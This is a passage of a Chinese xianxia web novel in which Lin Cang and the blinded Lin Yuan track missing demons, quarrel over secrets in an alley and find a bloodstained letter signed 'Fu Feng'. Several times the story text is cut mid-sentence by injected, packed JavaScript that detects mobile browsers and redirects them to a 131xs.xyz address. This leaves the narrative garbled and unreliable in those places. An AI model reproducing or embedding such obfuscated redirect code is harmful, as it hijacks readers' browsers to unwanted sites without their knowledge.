林沧低头,看着刚刚跨过的树根,停住了脚步。 厚厚的苔藓覆盖着突出地面的树根,顺着树干往上看,苔藓越来越稀薄,等到阳光足以照到的高度,苔藓失去踪影,原本朽烂的树干原形毕露,纵横的枝杈腐烂得摇摇欲坠,在密密层层的林海中格格不入。 “盘绕。”林沧眯起眼睛,重复着林渊话里的某个词语,“是蛇妖?” “嗯。”林渊发出一个肯定的音节,又含糊其辞道,“很久以前撞见过,幸亏被路过的灵修救了,不然……” “你不想说的,我不会多问,不必编谎。”林沧打断林渊,说道,“我们到了。” 林沧从来没把林渊当成寻常人族,共同经历那些事情后,更是确认了林渊的经历恐怕比他想象中要更加坎坷,因此,林渊的某些话,林沧并不会相信。 在对林渊产生那种想法之前,他不在乎林渊对他编谎。 在跨过那条线后,他尊重林渊,林渊的过往,他不想说,他便不会过分地探究。 他并不是一个热衷于窥探他人秘密的人。 “到了?”林渊闻言,原本松松环绕林沧脖颈的手臂忽然一紧,下颏从林沧头顶移开,往下一滑,搁在了林沧的肩膀上。 照理说,那个蛇妖,攻击性很强才对啊。 林渊疑惑地想道。 “我又有些相信了,你那套被路过灵修救了的说辞。”林沧用余光瞄了一眼林渊,有些好笑地说道,“是有一棵长满青苔的榕树,但是生机勃勃?等你眼睛好了,回来亲眼看看,这棵树到底是不是生机勃勃。” 林渊彻底迷惑了。 前世遇到蛇妖的时候,比现在还晚一些。 那个蛇妖,虽然称不上厉害,但也在此处修炼百年,从未离开过。 蛇妖用妖力将早已朽烂的榕树伪装得生机勃勃,阴湿的妖力催生了厚厚的苔藓,一旦踏入他的领域,就会被无差别攻击,然后成为蛇妖的养料。 林沧是不是走错了。 林渊不抱希望地开口,“林沧,你低头看一看苔藓,误入的生灵都会被蛇妖偷袭,苔藓吸收鲜血生长,只有表面一层是绿色的……” 林渊的话没说完,忽然感到林沧的身体紧绷起来。 青年低沉的声音响起,“我看到了。” 混淆视听的光滑碧绿下面,是触目惊心的血一样的红。 林沧的目光瞬间锐利起来,刀锋一样扫过榕树的每一寸的枝梢,连细小的蚊虫都无所遁形,而就在林渊抱紧林沧的肩颈等待青年把蛇妖捉过来之时—— 林沧犹疑的声音忽然响起。 “蛇妖……不在此处。” 嗯? 什么? 蛇妖不在? 林渊呆滞了一下。 枉费他们跋山涉水这么久…… 不,问题不在这里。 而是按照前世的时间线,蛇妖根本不可能不在此处! “也许离开了吧。”林沧走上前去,仔细打量着腐朽的树干,目光凝在一道浅浅的蛇行痕迹上,压倒了一小片青苔,“但肯定离开不久。” “怎么会……”林渊喃喃道。 就算他的存在改变了原有的轨迹,但是从未踏出深山老林的蛇妖,又怎会受到影响? “你之前什么时候来过?”林沧问道。 数月之后。林渊默默想道。 “阿白,你能不能追踪蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林沧声音不大,如羽毛般划过林渊的耳朵,林渊却愣住了。 他有些怀疑自己的耳朵。 那些乱七八糟的杀意无声无息地被林沧化开了。 林渊怔然。 他一直以年长者的身份,帮助林沧,安抚林沧。 可他短暂地忘了,林沧就是他自己。 哪怕隔着生死的鸿沟,哪怕隔着那么些惨痛的际遇,无论如何,林沧仍是这个世上最了解他的人。 不需要揣测。 不需要分析。 只要听凭直觉…… 就能精准地打动他。 令他动容。 【也许是双向的吧,这一场救赎。】 林渊这样想着,微微弯起了眼角。 林沧感到林渊卸了力,再次像没骨头似的趴在了他的背上。 “走吧,下一个妖族。”林渊说道。 …… 大隐隐于市。 幽深的老巷中,几名酒客失望地走了出来。 “酒老板今天又没开张!” “莫不是家中有事?” “酒老板连姓名都不告诉我们,哪里知道他的家事!” “酒老板不会不回来了吧,没有他的酒,这苦日子怎么熬啊……” 几名酒客背后不远处,一个青年,一个眼蒙黑布的瞎子,表情都不太好。 “第几个了?”林渊咬了下后槽牙,明知故问道。 “第七个。”林沧答道。 “为了伪装人族,酒老板费了不少功夫,不会轻易离开酒屋。” 林渊沉吟片刻,继续说道。 “不要继续找了,我们今晚,翻进酒屋。” 11. 疯子 “敢问酒老板几日没有开张了?” 眼蒙黑布的年轻男子拦住从巷子里走出来的酒客,问道。 几名酒客见林渊衣冠得体,哪怕眼上蒙着不伦不类的黑布,依旧掩饰不住雅致的风度,小镇人口不多,乍然出现这么个公子哥儿,倒是个稀奇事。 然而几人未及询问,好奇心就被站在林渊身边双手抱胸的青年扼杀了。 不好惹。 非常不好惹。 刀裁墨画的眉目,却含着隐隐的戾气。玄黑的衣袂无风浮动,昭示着青年此刻的心境并不愉快。 来寻仇的? 几名酒客不约而同地想道,对视一眼,为了酒老板的安全,决定说谎。 “大概有,一个,一个月……” 那人话没说完,忽然感觉自己被冻住了。 青年定定地看着他,纯黑的眼瞳深不见底,仿佛只要他敢再说一句谎话,就会立刻把他大卸八块。 冷汗唰地一声从酒客的额头流了下来,周遭的空气仿佛突然变得稀薄,呼吸骤然困难,像是被一只无形的手钳住了咽喉,什么话也说不出来,不过片刻,酒客的脸庞就憋得通红。 周围的酒客大骇,纷纷往后退去。 细碎纷乱的声音传进耳朵,林渊忽然察觉到了什么。 “林沧。”俊雅男子脸色微变,上前一步,抓住了青年的胳膊。 青年蹙了下眉,在其余人心惊胆战的目光中,移开了看向那名酒客的眼神。 窒息感骤然消失了。 新鲜的空气争先恐后涌入胸腔,酒客劫后余生地剧烈呛咳起来。 林渊听到那名酒客撕心裂肺的咳嗽声,抓着林沧胳膊的手又紧了几分。 “冷静,林沧。”林渊低声说道。 “我什么都没做。”青年冷冷地说道。 “你知道你对人族的压迫感……” 林渊的话只说了一半,腕上忽然传来鹰爪般的钳制,林沧死死箍着他的手腕,剧痛顺着腕骨传来。 “对,这就是真正的我。一旦露出真面目,世人就会畏我、惧我,恨不得离我越远越好,连刚刚那种微不足道的小事都要说谎骗我。林渊,你说,我凭什么——” 为了他们去死啊。 凭什么为了他们去死啊。 时间不多了,若是他迟迟找不到杀害师兄的凶手,若是他救不了喜欢的人,那他濒死时的愿望,恐怕是毁了这个可恨的世界吧。 林沧咽下嘴边的话,死死盯着被他握住手腕的男子,刚刚没有控制好力道,林渊的脸上浮现了一抹忍耐的痛楚。 林沧忽然像被什么哽住了,颓然松开林渊的手腕,薄薄的肌肤印着几道红色的指印,扎伤了他的眼睛。 看吧,连喜欢的人都会无意识中伤害。 还谈什么拯救和保护。 林渊沉默了。 从青年说出第一个音节开始,他就什么都明白了。 可是明白又有什么用,血淋淋的事实摆在面前,他还能“狡辩”什么呢。 何况师兄出事,他也很难过啊…… 他见惯了生离死别,可以在剧变面前保持冷静。 但这从来不代表,他不会难过。 那可是,从小陪伴他的师兄啊。 林渊压下纷乱的思绪,强行令理智回笼,转向那几个想逃又不敢的酒客,勉强勾起唇角,说道,“抱歉,适才我的朋友有所冒犯,我替他赔罪。酒老板什么时候离开的,能告诉我们吗?” “三,不,四天前!四天前就已经关门了!”一名酒客大声说道。 酒老板,对不住,这两个人太可怕了,希望你已经逃远了吧。 酒客看着似笑非笑皮笑肉不笑的林渊,只觉得他是披着羊皮的刽子手,狠狠打了个寒战,再也不觉得他谦谦君子温润如玉了。 “多谢。”林渊听到这个意料之外的答案,微微蹙了下眉,听到酒客们骤然停顿的呼吸,体贴地补充道,“你们可以走了。” 酒客们如蒙大赦,一刻也不多待,头也不回地跑远了。 “四天前。”林渊喃喃道,“我们寻找前六个妖族,用了整整三天。” 酒老板只比他们快了一步。 他逃到那里去了。 又为什么逃。 “你之前说,天黑再进去是吧。”林沧的声音响起。 “嗯,酒老板不会轻易放弃酒屋,说不定只是用了什么方法,悄悄躲了起来。我本意是天黑进去,但是刚刚动静不小,肯定已经打草惊蛇,所以其实现在进去也……” 林渊说着说着,按了一下太阳穴。 思维有点不受控制了。 之前林沧的声音反复在脑海盘桓,根本无法冷静。 “你怎么了?” 林渊听到林沧向他走了一步,衣料摩擦的声音响起,林沧似乎想伸手触碰他的额头。 最终却收回了手。 怕再次伤到他吗。 林渊忽然涌起一阵莫名的烦躁,数日的奔波,离奇消失的妖族,状态极其不稳定的林沧,还有迟迟无法复明的自己。 看不见。 为什么看不见。 为什么看不见林沧的神情。 是克制而小心翼翼的么。 明明是同一个人,何必如此疏离……! 而他只能,在一片漆黑的模糊中,凭借只言片语,猜测、揣摩。 受够了。 实在是受够了。 林渊猛地抬手,狠狠拽下了蒙着的黑布。 眼前乍然亮起,模糊的世界影影绰绰,黑雾笼罩着扭曲的黑影。 林渊的目光定格在一个与他同高的瘦削黑影上。 然后伸手,准确地抓住了那人的衣领。 他明知道,林沧不知道他们是同一个人,他不能要求林沧对他如何坦诚。 可他的理智偏偏在此刻断掉了。 他偏要、要他对他敞开一切。 他们有同样灵活的手指。 林沧能单手包起艾糍打好绳结,林渊也能在近乎失明的状态下用窄窄的黑布条迅速捆住林沧的双手。 林沧一动不动。 但林渊已经不想揣摩了。 林渊单手钳制着林沧被黑布条禁锢的双手,另一只手不管不顾地推着林沧的肩头。 林沧意外地顺从,毫不反抗,甚至顺着林渊的力道,后退了一步。 于是林渊步步紧逼,老巷幽深,直到林沧退无可退,被林渊按在了墙上。 林渊将手指按在凹凸不平的外墙上,指尖传来土屑颗粒干燥的触感,另一只手则缓缓勒紧绑着林沧手腕的黑布条,哪怕看不见,林渊也知道那双手腕此刻必定感到了缺血的麻木。 “你不是怕伤害我吗。”林渊低声笑了,“我还给你。” 林渊继续用力,黑布条在手腕勒出红痕,林沧的手指因缺血而冰凉。 “真面目,是么。世人畏你、惧你,恨不得离你越来越远,对么。”林渊仍然在笑,“你明知道他们说谎是因为想要保护酒老板,却偏要归咎于他们讨厌你,偏要自找不痛快,这就是你所谓的真面目么。” 林沧依旧沉默,身体却慢慢紧绷起来。 “何况,是我问的他们,欺瞒也好,厌恶也罢,都是对我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810382|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林渊笑容渐渐放大,笑得眼睛都弯了。 “你算什么东西,敢那样说?” 林沧的呼吸骤然停住了。 青年难以置信地张大了眼睛,怔怔地看着林渊。 连呼吸都忘了。 “我告诉你。现在的我,才是我的真面目。”林渊忽然不笑了,鸦青色的眼眸暗流汹涌,如同象征着灾厄的漩涡。 “不过之前的我,也是我的真面目。”林渊缓缓凑近林沧,呼吸悉数洒在林沧唇齿之间,明明是温热的气流,林沧却感觉仿佛被烧融的蜡烛封住了双唇。 “那些都是我。”林渊一字一顿地说道。 “在我眼里,从来没有什么真面目假面目。”林渊按在墙上的手指缓缓移到林沧的侧脸,细细的土屑染脏了林沧的脸颊,顺着脖颈,滚落汗毛倒竖。 “只要是你表现出来的,真诚是你,伪装是你,凶狠是你,脆弱也是你。”林渊的手指下移,钳住林沧的脖颈,掌心下的喉结不由自主地滚动。 “我要你,不许躲,不许逃,把你的一切,全部展现在我的面前。”林渊尾音上扬,仿佛愉悦至极,但是脸上的表情却是挑衅而猖狂的。 “我,照单全收。”林渊说完,手指渐渐收紧,指腹之下,温热的血流急速流动,鼓动着急促的脉搏。 接下来。 是长久的沉默。 林渊耐着性子等待着。 “林……” 寂静终于被打破,林沧发出一个沙哑的音节,然后消失,甚至没能完整地叫出林渊的名字。 “怎么?”林渊继续等了片刻,没等到下文,蹙起了眉头。 “……”林沧没有回答。 林渊紧紧拧着眉头,眯起眼睛,却始终看不清林沧的神情。 看不见看不见看不见看不见…… 真是糟糕透了。 林渊冷笑一声。 今天的理智大概是追不上他了。 林沧眼睁睁看着林渊抬起手指,狠狠咬破了指尖。 鲜血一瞬间涌了出来。 下一刹那,唇上传来了温热湿润的触感。 林渊一手钳着他的脖颈,一手将指尖涌出的鲜血,细细擦在了他的唇上。 咬破的指尖掀开一小片皮肉,摩擦着林沧的嘴唇,单凭想象,就知道那是怎样的剧痛。 但林渊的表情却没有丝毫变化,仿佛完全感觉不到疼痛。 鲜血渐渐浸润林沧干燥的双唇,舌尖尝到了腥甜的味道。林渊似乎是有些不耐烦了,最后重重一抹,指腹擦过林沧的牙齿,然后收手,随意地甩了甩指尖仍在溢出的血珠。 简直像刚洗完手,甩掉水珠一样。 “听说那些很难打开的门,只要把鲜血涂在锁眼上,就能轻而易举地打开。”林渊挑眉说道,“林沧,我浪费了这么多鲜血,你这道门,能为我敞开吗?” “……”林沧沉默良久,忽然伸出舌尖,卷去了唇上的鲜血,“原来,你也是个疯子啊。” 比他还疯的,疯子。 平日里温驯无辜儒雅和煦,内里却是这样一个…… 彻头彻尾的,疯子。 林沧运起一点灵力,震开绑着手腕的黑布条,活动了一下因缺血而冰冷僵硬的手指。 然后拉开林渊钳住他脖颈的手,展平他的手掌,撑开他的指间,缓缓与他十指相扣。 随后是另一只手。同样十指相扣。 温度从另一个人的掌心传来。 不算很热,但很真实。 “我答允了。” 林沧把林渊的手拽到唇边,亲吻着林渊受伤的指尖,说道。 12. 信徒 指尖传来湿漉漉的痒意。 林渊打了一个激灵。 疯狂的情绪宣泄一空,在林沧说出“我答允了”之后,理智终于追上了林渊,大脑重归清醒。 他刚刚咬破了指尖,林沧却在舔舐他的伤口。 太亲密了。 难道对林沧来说,不会有点过头吗。 而且,真的很痒啊。 原本被忽视的痛感也随着痒意复苏,乱七八糟纠缠在一起,抓心挠肝地难受。 林渊忍不住挣了一下手腕,不料却被林沧扣得更紧。 如果林渊能够看清,就会发现青年垂着眼帘,浓密纤长的睫毛掩住了眼底的情绪,亲吻指尖时的神情温柔而庄重。 好像虔诚的信徒。 也是,游走在悬崖之边,每次一脚踏空,都会被林渊拽住。 如何不成为信徒。 “小伤,不用。”在失明的加持下,指尖的触感诡异而鲜明,林渊忍不住微微蹙起了眉头。 林沧终于松开了林渊的手。 然而林渊还没来得及松一口气,眉心忽然传来温热的触感,青年力道不重,却不容置疑地抚平他的眉心,低声道,“不要皱眉。” 林渊:“……” 这是林沧吧。 这是他自己吧。 怎么这么…… 难以形容。 林渊古怪而纠结的神情落在青年眼中,林沧的眼神微微一暗,联想到成衣铺林渊让他闭眼的要求,迟疑地解释道,“我是灵族,那样……能加速伤口愈合。” 林渊再次:“……” 这小子,什么时候学会编谎了。 还真是无师自通。 语气这般无辜,如果他不是灵族,也许会相信吧。 堪堪维持住几欲崩塌的表情,林渊咳了一声,挂起一抹掩饰的微笑,转移话题道,“时间不早,别再耽搁了,我们去酒老板家看看吧。” 之前不由分说把林沧推到墙上发疯的是他,现在理直气壮说别再耽搁赶紧行动的也是他。 林渊忽然有点心虚。 “好。” 意料之中的嘲讽并没有传来,青年只是简单地说了一个“好”字。 语气平缓,林渊没有听出任何不满。 有点奇怪。但不重要。 得到肯定的回应之后,林渊也不知道自己为何忽然有种如蒙大赦的错觉,仿佛潜意识中,再待下去,就要有什么令他极其狼狈的事情发生,急匆匆转身,手腕却再次被林沧拉住了。 林渊身体一僵。 然而什么也没有发生。 眼前忽然绕了一圈柔软的黑布,松紧适中,接着脑后被人用手指灵活地打了一个结,迅速而细致,没有扯到一缕发丝。 “……多谢。”林渊说道。 “走吧。”林沧领先林渊半步,林渊呼出一口气,抓住林沧递过来的一角衣袖,跟了上去。 不知出于什么心理,林沧后来再也没给林渊绑过绳子。 平时牵着衣袖,若是有什么怕林渊走丢的场合,便会抓住他的胳膊,无人之时,甚至会牵他的手。 林渊虽然疑惑过林沧不愿与人肢体接触的习惯,但是转念想到他们毕竟是同一个人,林沧无意中对他放松警惕也不稀奇。 何况他也不太愿意被人绑着绳子。 好像小狗。 老巷幽深。 随着逐渐深入,隐隐飘来醇厚的酒香。 酒老板的酒屋到了。 铜绿色的大锁挂在门口,林沧略一打量,架住林渊,稳稳地从墙头翻了进去。 甫一落地,二人不约而同放轻了脚步,林沧反手拉住林渊的手臂,打量着院中,微微蹙起了眉头。 酒缸摆放得整整齐齐,全部密封妥帖。墙角竖立着一个一人高的物件,被防潮的油布裹得严严实实,林沧缓缓揭开油布…… 露出了一角卷起来的彩织酒旗。 看来酒老板离开时并不匆忙。 院中一切都稀松平常,仿佛真的只是一家平平无奇的酒屋,老板因为家中有事,所以才出了趟远门,临走前边边角角都考虑周到。 林沧拉着林渊,向屋内走去,屋门同样挂着铜锁,林沧运起灵力,悄无声息地震开铜锁,推门走了进去。 浓重浑浊的烟尘气扑面而来,林沧眼神一厉,拦腰抱住林渊往后退去,林渊伸手掩住口鼻,还是忍不住咳了几声。 袅袅的烟尘弥漫,林沧的神情从严肃逐渐变得些许迷茫。 “……熏香?”林沧不确定地说道。 “好像是驱逐蛇鼠的熏香。”林渊也有点摸不清楚状况。 林沧当先走进屋中,长条的沉木香案上,巴掌大的小巧香炉中残余着燃尽的余灰,旁边丢着一张包药的桑皮纸,纸上写着“艾叶、苍术、石菖蒲”等辟秽的药材。 果真是驱逐蛇鼠的熏香。 “关门闭户,点燃熏香,防止出远门时蛇鼠造窝,看来酒老板是真的走了。”林渊叹道。 “走之前还有心思收拾这些,如果不是其他妖族也离奇出走,倒像是出门赴友了。”林沧的目光扫过角落里的制酒的工具,种种精巧的工具被收拾得非常妥帖,分门别类,摆放在墙角,同样被防潮的油布罩得严严实实。 “谁说不是呢,万一妖族有什么盛会,所有妖族都赶去参会了呢。”林渊耸耸肩,故作轻松地说道。 林沧微微蹙眉,听出林渊故意插科打诨,便没做反驳,默然不语。 盛会之类,放在如今的妖族,几乎是绝无可能。 曾经四界,人间最弱,灵界、魔界、妖界三足鼎立。 妖族、魔族天性使然,觊觎灵族心脏,自古和睦,常常联手对付灵族。然而百年之前,魔族首尊与灵族掌门忽然结亲,灵界魔界交好。魔族倒戈,妖族不忿,反被魔族首尊血洗妖界,顶级大妖死的死伤的伤,妖界坍塌,妖族元气大伤,幸存的妖族迫不得已,背井离乡,进入最为弱势的人间,散落人间各处。 人族弱小,无数妖族同时涌入人间,人间大乱,灵族掌门为了保护人族,开放灵界,收了一批又一批人族弟子,传授灵修之法,抵御妖族。 人族弟子学成归来,灵修宗门如雨后春笋,在人间生长起来,人族得以与妖族抗衡,二者取得了微妙的平衡。 然而好景不长,人间刚安定下来不久,灵界就出事了。 魔族首尊与灵族掌门关系破裂,灵族与魔族爆发生死之战,两败俱伤。灵族掌门本想献祭心脏与魔族首尊同归于尽,却在千钧一发之际,被首尊贯穿心脏,“心祭”只进行了一半,未能完成。 濒死之际,灵族掌门只得找来门中最有潜力的年轻灵族,嘱托他完成剩下的“心祭”。 “愿”已经有了。 杀死首尊,便是掌门的愿。 但是掌门的心脏被首尊贯穿,所以,还缺一颗心脏。 一颗强大的、足以支撑起掌门的“愿”的心脏。 这个人,就是林沧。 灵族掌门……就是他的师娘。 在那场惨烈至极的战事中,除了林沧,其余灵族统统献祭心脏,将所有魔族逼回魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810383|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界,烙下了永世不出的封印。 师娘嘱托林沧,心祭必须完成,其他魔族可以留下,但是首尊不行。 他是一个怪物,阴鸷偏执,强大得不可思议。以他的性格与能力,必定会想方设法破除封印,毁天灭日。 所以“心祭”,必须完成。 彼时的林沧还未成年。 灵族二十有五成年,林沧那年刚满二十。 二十岁的青年紧紧握着师娘的手,浑身止不住地颤抖。 “林沧,师娘对不住你……” 沉香木簪折断,师娘浑身浴血,胸口深深扎着一根断剑。 “不,师娘……”林沧几乎说不出一句完整的话,看着师娘鲜血淋漓的胸口,想拔出那柄断剑,却又不敢。 贸然拔剑,师娘会死的。 “等你成年……”师娘说不下去了,这实在太过残忍。 然而就在这短暂的停顿中,鲜血在喉间凝固,血块堵塞咽喉,可她甚至没力气咳嗽,于是想说也说不出来了。 好在林沧足够聪明。 他已经明白了。 不够成熟的心脏负担不起师娘的“愿”,所以他必须活到二十五岁。 他必须守着这个秘密,等过短暂的五年,等到成年的那个夜晚,回到师娘死去的地方,亲手剖出自己的心脏,完成不属于他的“愿”。 事关重大,万万不能被人干扰,因此无人知晓他与师娘的约定。 从此以后,在外人看来,他就是苟且偷生的世间最后一个灵族。 所以他才扮演绝情的模样,从来没有回去看过师门,从来没有回去祭奠师娘。 所以霍君生问他之时,他才会沉默着无言以对。 而当时的他,什么都不知道。 当时的他为师娘之死悲痛欲绝,为无数同族的牺牲痛不欲生,可是后来,在无数个日日夜夜中,他才慢慢回味过来。 也许死在那一战中,才是最好的归宿。 这漫长的五年。 注定死亡的结局。 明明是丧家之犬…… 却有口不能言,连死都不被允许。 灵界剧变,世间只剩一个年轻的灵族,妖族蠢蠢欲动,摸上灵界,妄图捡取渔翁之利,却被杀红了眼的人族灵修们以同归于尽的打法杀了回去,本就因首尊元气大伤的妖族狼狈撤退,重回一盘散沙,隐匿于人间的各个角落。 而幸存的灵修们,也就是林沧的师门,同样面临分崩离析的局面。勉强维持了一年,师门终于解散,灵修们离开一片废墟的灵界,回到了人间。 霍君生便是其中之一。 只是霍君生天资平平,没得到师娘的真传,这才惨死于大妖的手中。 林沧和林渊之所以确定妖族不可能举行盛会,便是因为师门那些重回人间的灵修。 其中不乏实力不俗者,开宗立派,在妖族元气尚未恢复,师娘的亲传弟子镇守人间的情况下,妖族是不敢轻举妄动的。 妖族先经过魔族首尊血洗,又遭遇灵修惨败,大多数都选择明哲保身,不肯轻易抛头露面。 很多妖族,尤其是弱势一些的妖族,甚至习惯了人间平淡的生活,隐姓埋名,以人族的名义度过一生。 酒老板本该是这样一类妖族。 到底是什么原因,才让他放弃安稳的生活,忽然出走…… “咕咕咕——” 扑棱棱的振翅声突兀地响起,伴随着急切的鸽鸣。 林渊和林沧同时一怔。 在离开竹白镇之后,阿白第一次,叫了。 13. 秘密 白鸽向内室飞去。 林沧一把攥住林渊的手腕,紧紧跟上。 白鸽在内室盘旋一圈,最终停在了墙角的一堆碎瓷片附近,引颈仰头,短促地叫着。 还以为它发现了酒老板。 林沧心中略微失望,蹲下身子仔细查看,忽然看到其中一块碎瓷片上带着暗红色的血迹。 血迹早已干涸,也不是很多,倒像是一不留神打碎瓷器,割伤了手。 “你嗅到了妖血?”林沧拾起那块碎片,在阿白面前晃了晃。 “咕咕。”白鸽点了点头。 “是之前竹白镇的妖族吗?” “咕咕。”白鸽摇了摇头。 林沧心中失望更甚,放下碎片,刚想起身,目光忽然一凝,落在了碎瓷片掩盖之下,一张揉皱的信纸上。 信纸发皱,泛着焦黄的茶渍,半张信纸上,洇染着大片褐色的血迹。 画面一瞬间在林沧脑海中形成。 酒老板在内室喝茶,打开新收到的信笺,却因看到信的时候太过吃惊,失手打碎茶杯,甚至割伤了手。 这封信也许就是酒老板忽然出走的原因。 林沧抿紧嘴唇,小心翼翼地拨开碎瓷片,把发黄变脆的信纸抽了出来。 内室光线昏暗,细小的灰尘浮动,林沧缓缓展开信纸,看清上面写的内容后,神情骤然凝固。 林渊敏锐地听到林沧的呼吸顿住了。 “怎么?”林渊问道。 “……谣言。”林沧声音喑哑,“不可能。一定是谣言。” “上面写的什么?”林渊忽然涌起一阵不祥的预感,不由自主地蹙起眉头,追问的语气带上了一丝急切。 “魔族。”林沧捏着信纸的一角,脆弱的纸张发出一阵不堪重负的脆响,林沧收了指尖的力气,声音却变得更加沉重,“大部分被血污染了,还能辨认的地方写着……魔族现世,修为未及大妖者,速速离开。” 林渊一愣,几乎怀疑自己的耳朵。 不可能。 绝对不可能! 他比林沧还要笃定。 上一世,直到他献祭心脏,杀死首尊,魔界的封印都没有丝毫松动。 什么魔族现世…… 根本不可能! “谁在造谣。”林渊听到自己冷静的声音响起。 然而下一刻,他就后悔了。 他不该这么说的。 “你知道魔族不可能现世,甚至比我更加笃定这是造谣。”林沧果然捕捉到了他那一瞬间不该出现的情绪,站在林渊面前,不放过他每一丝神情,一字一顿地说道,“连妖族都不知全貌,相信谣言连夜出逃,你却立刻笃定这是谣言……告诉我,对于灵族和魔族那一战,你还知道多少。” 能够如此笃定,只能说明,林渊知道魔界的封印。 甚至知道灵族心祭。 林沧心中很沉。 知道当时情况的灵族都死了,回到人间的灵修也不会多嘴饶舌。 林渊是从哪里知晓的,事关他与师娘的约定,不得有半分差错,他必须提起警惕。 “现在是追问这些的时候吗?”林渊勾起唇角,却没有真正的笑意,“你只需知道,我绝不会背叛你,不就够了么。” “我不敢打赌。”林沧冷冰冰地说道。 “哦?那就证明,那场大战背后还有什么不为人知的隐情咯?比方说,有什么秘密,仍在延续……而你,就是其中的知情人。”林渊慢悠悠地说道,声音散漫,却有种令人心惊胆战的探究感,几乎令人无所遁形,“我说对了吗,世间最后一个,灵族?” 林沧骤然沉默了。 好一个反守为攻。 林渊仔细听着林沧的动静,维持着面上表情,却悄悄产生了一抹愧疚。 利用所知情报的差距,威胁曾经的自己,的确有些过分了。 但此时此刻,他也想不到任何一种解释,打消林沧的怀疑。 既然如此,不如反其道而行之…… 把自己,彻彻底底绑在他的身边。 果然,不出林渊所料,青年沉沉的声音响起。 “我本想治好你的顽疾,然后放你走。”林沧几乎是从牙缝中挤出的字眼,“但是如今,林渊,你走不掉了。” “嗯?”林渊漫不经心地应了一声。 “除非向我坦白,说清楚你知道的一切。”林沧手指猛然收紧,攥紧了林渊的腕骨。 向他坦白吧。 拜托了。 林沧在心中默默地祈求道。 他好不容易认定了一个人,他不想把哪怕是一丝怀疑放在他的身上。 这个人刚刚还把鲜血涂抹在他的唇上,要他向他敞开全部。 他不信那些是假的。 所以,向他坦白吧。 拜托。 拜托了。 可是林渊却让他失望了。 眼蒙黑布的男子挑着一抹漫不经心的笑容,没有被他攥紧的另一只手随意地把玩着发梢,墨黑的发丝缠绕着受伤的指尖,异常扎眼。 “这样吧,若是你猜到了,我便不会继续隐瞒。”林渊语气散漫,“若是你没猜到……只能说一句抱歉了。” 什么? 猜? 林沧难以置信地张大了眼睛。 又不是情情爱爱,这么严肃的事情…… 竟然让他,猜? “你有秘密,我从来没问过。”林渊恍若没察觉林沧的震惊,继续说道,“我也有秘密,不可以么?” 林沧哑口无言,一时沉默。 “何况我都答应了,如果你能猜到,我绝对不会否认。” 怎么又是这副无辜的表情,林沧咬紧了后槽牙。 “我知道你想说什么,刚刚在巷子里,我还要你敞开一切。” 又被他猜到了,他是洞悉人心的魔鬼么。 “但是有些事情,就目前而言,是你我都不可以说出来的。”林渊摸着下巴,露出了一点纠结的神情,忽然想到了什么,打了个响指,说道,“那就换种说法,仅限于感情,不许回避,不许疏离。放心,我不会收回那句话……你的一切,我永远都会照单全收。” 什么样的脑子才能想出这样的提议。 林沧定定地看着林渊。 这人绝对是魔鬼吧。 惑乱人心的魔鬼。 林渊仍在笑,但是笑容带上了一抹真实的温度。林沧强迫自己移开眼神,从那抹笑容中拔身离开。 “只谈感情,不问事实。” 过了半晌,林沧满脸复杂,总结道。 “是了。”林渊笑道。 “……你等着,我总能找到真相。”林沧深吸一口气,目光仿佛要穿透黑布望进那双鸦青色的眼眸,又好像恨不得嚼碎林渊的骨头,“我会亲手挖出,你的秘密。” “好,我相信你。”出乎林沧的意料,林渊好像没听出他泄愤似的威胁,竟然认真地点了点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810384|175206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林沧如鲠在喉,再次哑了声。 整个人到底在想什么。 完全、完全看不懂。 不过幸好……万幸…… 他并非站在他的对立面。 怀疑的种子没有发芽。 林渊没有阻止他探寻他的秘密。 所以他要把他绑在身边,时刻不离,直到一层一层剥开他的伪装…… 揭开他的秘密,看清他的心脏。 可惜林沧不知道,眼前这个笑容轻慢的男子,并没有心脏。 而他的秘密,归根到底,也不过是救赎他而已。 林渊努力压下喉间的痒意。 自从进到酒老板的屋里,熏香的烟尘就呛得他喉咙发痒,忍了数次,如今舌根已经漫起了隐约的血气。 林渊暗自叹了口气,无比唾弃自己的身体。 思维渐渐模糊,头脑也不太清醒。如果林沧再纠缠下去,恐怕他就坚持不住了。 “落款是……扶风。” 林沧不再追究林渊的事情,目光落在信纸的下方,缓缓读出了那个名字。 “扶风?”林渊努力回神,眉头蹙起,“弱柳扶风的扶风?” “对。” 林渊前世从未听说过这个名字。 扶风是谁,是人是妖,又为什么散布虚假消息,给这么多妖族寄信,让他们集体逃离。 